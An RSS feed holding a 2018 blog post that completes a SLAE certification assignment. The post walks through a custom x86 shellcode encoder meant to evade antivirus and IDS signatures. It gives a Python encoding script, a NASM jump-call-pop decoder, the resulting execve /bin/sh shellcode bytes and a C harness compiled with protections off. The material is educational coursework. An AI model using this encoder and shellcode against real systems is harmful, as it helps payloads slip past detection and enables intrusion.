<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Custom Encoder Archives -</title>
	<atom:link href="https://barriersec.com/category/slae/custom-encoder/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/category/slae/custom-encoder/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:01:16 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>Custom Encoder Archives -</title>
	<link>https://barriersec.com/category/slae/custom-encoder/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>linux/x86  &#8211; Custom Encoder</title>
		<link>https://barriersec.com/2018/11/linux-x86-custom-encoder-and-decoder/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sun, 18 Nov 2018 09:58:47 +0000</pubDate>
				<category><![CDATA[Custom Encoder]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[slae]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=277</guid>

					<description><![CDATA[<p>Hi All!  After a long gap due to health issues , i started working on assignments of SLAE course by&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-custom-encoder-and-decoder/">linux/x86  &#8211; Custom Encoder</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All!  After a long gap due to health issues , i started working on assignments of SLAE course by securitytube (<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>).  I jumped onto Assignment 4 directly as i felt this can be fun and can be taken up initially with what we have learnt from the course videos. main objective of this assignment is ,</p>
<p><strong>creation of custom encoder which helps us to evade known signatures by antivirus/IDS system.</strong></p>
<p>my custom encoder uses this simple algorithm.</p>
<p><strong>                         <em>1 . Perform NOT operation on individual shellcode byte. </em></strong></p>
<p><em><strong>                         2. Increment each shellcode byte by 2 in hex.</strong></em></p>
<p><em><strong>                         3.  perform XOR operation on each shellcode byte with 0x21</strong></em></p>
<p><em><strong>                         4. finally again perform NOT operation on resulting   individual                                          shellcode byte.</strong></em></p>
<p>This can be accomplished by using a simple python script . (custom_encoder.py). we will use an existing execve shellcode to spawn a shell.</p>
<p><strong>#!/usr/bin/python</strong></p>
<p><strong># Python custom Encoder</strong></p>
<p><strong>shellcode = (&#8220;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80&#8221;)</strong></p>
<p><strong>encoded = &#8220;&#8221;</strong><br />
<strong>encoded2 = &#8220;&#8221;</strong></p>
<p><strong>print &#8216;Encoded shellcode &#8230;&#8217;</strong></p>
<p><strong>for x in bytearray(shellcode) :</strong></p>
<p><strong>  #NOT Encoding</strong><br />
<strong>  x2 = ~x</strong></p>
<p><strong>  #increment by 2</strong><br />
<strong>  x2 = x2 + 0x02</strong></p>
<p><strong> # XOR Encoding </strong><br />
<strong>  xord = x2^0x21</strong></p>
<p><strong>  #NOT operation</strong><br />
<strong>  final = ~xord</strong></p>
<p><strong>  encoded += &#8216;\\x&#8217;</strong><br />
<strong>  encoded += &#8216;%02x&#8217; % (final &amp; 0xff)</strong></p>
<p><strong>  encoded2 += &#8216;0x&#8217;</strong><br />
<strong>  encoded2 += &#8216;%02x,&#8217; % (final &amp; 0xff)</strong></p>
<p><strong>print encoded</strong></p>
<p><strong>print encoded2</strong></p>
<p><strong>print &#8216;Len: %d&#8217; % len(bytearray(shellcode))</strong></p>
<p>now we can generate the encoded shellcode as follows :</p>
<p>slae@ubuntu:~$<strong> ./custom_encoder.py</strong></p>
<p><strong>Encoded shellcode &#8230;</strong><br />
<strong>\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f</strong></p>
<p><strong>0x0e,0x9f,0x6f,0x47,0x0c,0x0c,0x50,0x47,0x47,0x0c,0x41,0x46,0x4d,0xa6,0xc0,0x6f,0xa6,0xc1,0x70,0xa6,0xfe,0x8f,0x28,0xea,0x5f,</strong><br />
<strong>Len: 25</strong></p>
<p>now we need to build a decoder which performs exact same operation as encoder in reverse order.</p>
<p>that is,</p>
<p>custom decoder algorithm,</p>
<p><strong>                         <em>1 . Perform NOT operation on individual shellcode byte. </em></strong></p>
<p><em><strong>                         2. perform XOR operation on each shellcode byte with 0x21</strong></em></p>
<p><em><strong>                         3.  Decrement each shellcode byte by 2 in hex.</strong></em></p>
<p><em><strong>                         4. finally again perform NOT operation on resulting   individual                                          shellcode byte.</strong></em></p>
<p>once the decoding is done for each shellcode byte, we can finally jump to the final shellcode. And also we leverage <strong>Jump-Call-Pop</strong> technique to implement this decoder. Here we have the final decoder ( custom_decoder.nasm)</p>
<p>&nbsp;</p>
<p><strong>global _start</strong></p>
<p><strong>section .text</strong><br />
<strong>_start:</strong></p>
<p><strong>jmp short call_decoder</strong><br />
<strong>decoder:</strong><br />
<strong>pop esi</strong></p>
<p><strong>decode:</strong><br />
<strong>cmp byte [esi], 0x21</strong><br />
<strong>jz Shellcode</strong></p>
<p><strong>;in reverse of encoding NOT &gt; XOR &gt; decrementx2 &gt; NOT</strong><br />
<strong>not byte [esi]</strong></p>
<p><strong>xor byte [esi],0x21</strong></p>
<p><strong>dec byte [esi]</strong><br />
<strong>dec byte [esi]</strong></p>
<p><strong>not byte [esi]</strong></p>
<p><strong>inc esi</strong><br />
<strong>jmp short decode</strong></p>
<p><strong>call_decoder:</strong><br />
<strong>call decoder</strong><br />
<strong>Shellcode: db                             0x0e,0x9f,0x6f,0x47,0x0c,0x0c,0x50,0x47,0x47,0x0c,0x41,0x46,0x4d,0xa6,0xc0,0x6f,0xa6,0xc1,0x70,0xa6,0xfe,0x8f,0x28,0xea,0x5f,0x21</strong></p>
<p>In this decoder , we first compare our shellcode with exit marker ( 0x21) if all bytes of shellcode are decoded we directly jump to the shellcode. If not , we decode each byte of shellcode. Now finally we can compile and get the shellcode as follows.</p>
<p><strong>./compile.sh custom_decoder</strong></p>
<p><strong>objdump -d ./custom_decoder | grep &#8216;[0-9a-f]:&#8217;|grep -v &#8216;file&#8217;|cut -f2 -d:|cut -f1-6 -d&#8217; &#8216;|tr -s &#8216; &#8216;|tr &#8216;\t&#8217; &#8216; &#8216;|sed &#8216;s/ $//g&#8217;|sed &#8216;s/ /\\x/g&#8217;|paste -d &#8221; -s |sed &#8216;s/^/&#8221;/&#8217;|sed &#8216;s/$/&#8221;/g&#8217;</strong></p>
<p><strong>final shellcode : </strong></p>
<p><strong>&#8220;\xeb\x14\x5e\x80\x3e\x21\x74\x13\xf6\x16\x80\x36\x21\xfe\x0e\xfe\x0e\xf6\x16\x46\xeb\xed\xe8\xe7\xff\xff\xff\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f\x21&#8221;</strong></p>
<p>&nbsp;</p>
<p>we can now place this shellcode in our template c program,</p>
<p><strong>#include&lt;stdio.h&gt;</strong><br />
<strong>#include&lt;string.h&gt;</strong></p>
<p><strong>unsigned char code[] = \</strong><br />
<strong>&#8220;\xeb\x14\x5e\x80\x3e\x21\x74\x13\xf6\x16\x80\x36\x21\xfe\x0e\xfe\x0e\xf6\x16\x46\xeb\xed\xe8\xe7\xff\xff\xff\x0e\x9f\x6f\x47\x0c\x0c\x50\x47\x47\x0c\x41\x46\x4d\xa6\xc0\x6f\xa6\xc1\x70\xa6\xfe\x8f\x28\xea\x5f\x21&#8221;;</strong></p>
<p><strong>main()</strong><br />
<strong>{</strong></p>
<p><strong>printf(&#8220;Shellcode Length: %d\n&#8221;, strlen(code));</strong></p>
<p><strong>int (*ret)() = (int(*)())code;</strong></p>
<p><strong>ret();</strong></p>
<p><strong>}</strong></p>
<p>We compile and execute this program to get the expected shell.</p>
<p><strong>gcc shellcode.c -o shellcode -fno-stack-protector -z execstack</strong></p>
<p><strong>slae@ubuntu:~/$ ./shellcode</strong><br />
<strong>Shellcode Length: 53</strong><br />
<strong>$ </strong></p>
<p>link to github repo for the code :</p>
<p><a href="https://github.com/strikergoutham/SLAE_assignments/tree/master/Assignment4">https://github.com/strikergoutham/SLAE_assignments/tree/master/Assignment4</a></p>
<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>
<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>
<p>&nbsp;</p>
<p>SLAE student ID :  <strong>SLAE &#8211; 1367</strong></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-custom-encoder-and-decoder/">linux/x86  &#8211; Custom Encoder</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
